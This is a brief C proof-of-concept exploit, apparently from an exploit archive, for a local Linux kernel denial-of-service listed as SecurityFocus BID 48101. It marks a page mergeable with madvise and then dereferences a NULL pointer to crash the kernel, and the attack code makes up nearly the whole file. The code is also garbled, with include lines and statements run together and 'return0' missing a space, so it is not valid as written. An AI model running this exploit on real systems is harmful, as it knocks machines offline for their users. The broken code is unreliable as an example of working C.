/*
source: https://www.securityfocus.com/bid/48101/info
The Linux kernel is prone to a local denial-of-service vulnerability.
Attackers can exploit this issue to trigger a kernel crash, which may result in a denial-of-service condition.
*/
#include <stdio.h>#include <stdlib.h>#include <unistd.h>#include <sys/mman.h>#define BUFSIZE getpagesize()
int main(int argc, char **argv){
void *ptr;if(posix_memalign(&ptr, getpagesize(), BUFSIZE)<0){
perror("posix_memalign");
exit(1);}if(madvise(ptr, BUFSIZE, MADV_MERGEABLE)<0){
perror("madvise");
exit(1);}
*(char *)NULL =0;return0;}